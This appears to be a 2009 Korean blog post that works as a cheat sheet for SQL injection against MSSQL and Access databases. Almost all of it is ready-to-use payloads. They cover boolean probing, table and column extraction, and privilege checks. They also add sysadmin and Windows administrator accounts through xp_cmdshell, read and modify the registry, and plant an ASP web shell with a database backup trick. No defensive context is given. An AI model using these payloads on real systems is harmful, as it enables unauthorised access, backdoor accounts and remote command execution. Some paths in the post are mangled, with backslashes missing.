1. 다음과 같은 조건식을 삽입한다.
 ;and 1=1
 ;and 1=2 
 ;and user>0

2. 기본적으로 제공되는 기본 시스템 오브젝트에 대한 조건식을 검사해 본다.
 ;and (select count(*) from sysobjects)>0 mssql
 ;and (select count(*) from msysobjects)>0 access
 
3. where 조건식을 넣어 본다.
 'and ''=' 
 'and  '%25'='


4. select 구문을 사용한다.
 ;and (Select Count(*) from [테이블명])>0 --
 ;and (select top 1 len(열수) from 테이블명)>0


5. 컬럼명 추출
(1) Access 경우 :  and (select top 1 asc(mid(컬럼명, 1,1)) from 테이블)>0 
 
(2) Mssql의 경우 :  and (select top 1 unicode(substring(컬럼명,1,1)) from 테이블명)>0
 
6. 데이터베이스 권한

 ;and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- 
 ;and 1=(SELECT IS_SRVROLEMEMBER('serveradmin'));-- 
 ;and 1=(SELECT IS_SRVROLEMEMBER('setupadmin'));-- 
 ;and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--
 ;and 1=(SELECT IS_SRVROLEMEMBER('diskadmin'));--
 ;and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));-- 
 ;and 1=(SELECT IS_MEMBER('db_owner'));-- 


7. 스토어프로시저를 이용한 계정 추가하기  
 ;exec master.dbo.sp_addlogin username;--
 ;exec master.dbo.sp_password null,username,password;--
 ;exec master.dbo.sp_addsrvrolemember sysadmin username;--
 ;exec master.dbo.xp_cmdshell 'net user username password /add';--
 ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
 
8. dir 결과쿼리하기 
 ;create table dirs(paths varchar(100), id int)
 ;insert dirs exec master.dbo.xp_dirtree 'c:' 
 ;and (select top 1 paths from dirs)>0
 ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)


9. 디렉터리 정보 추출하기 및 웹쉘 실행  
 ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 
 ;insert temp exec master.dbo.xp_availablemedia;-- 
 ;insert into temp(id) exec master.dbo.xp_subdirs 'c:';-- 
 ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:';-- 
 ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:webindex.asp';--


10. 확장스토어 프로시저 공격

 xp_regenumvalues 
 ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersionRun'  
 
xp_regread  
 ;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersion','CommonFilesDir'  
 
xp_regwrite  
 ;exec xp_regwrite HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','ValueName','reg_sz','hello'

 xp_regdeletevalue
 exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersion','TestValueName'

xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersionTestkey'


10.mssql의 backup용 webshell 생성하기
 use model
 create table cmd(str image);
 insert into cmd(str) values ('<% Dim oScript %>');
 backup database model to disk='c:l.asp';
 
11.버전확인하기
 ;and (select @@version)>0 
 ;and user_name()='dbo'
 ;and (select user_name())>0 
 ;and (select db_name())>0 


12.webshell
 use model 
 create table cmd(str image);
 insert int cmd(str) values ('<%=server.createobject("wscript.shell").exec("cmd.exe /c "&request("c")).stdout.readall%>');
 backup database model to disk='g:wwwtestl.asp'; 

2009/08/11 14:47 2009/08/11 14:47

Trackback Address :: https://youngsam.net/trackback/727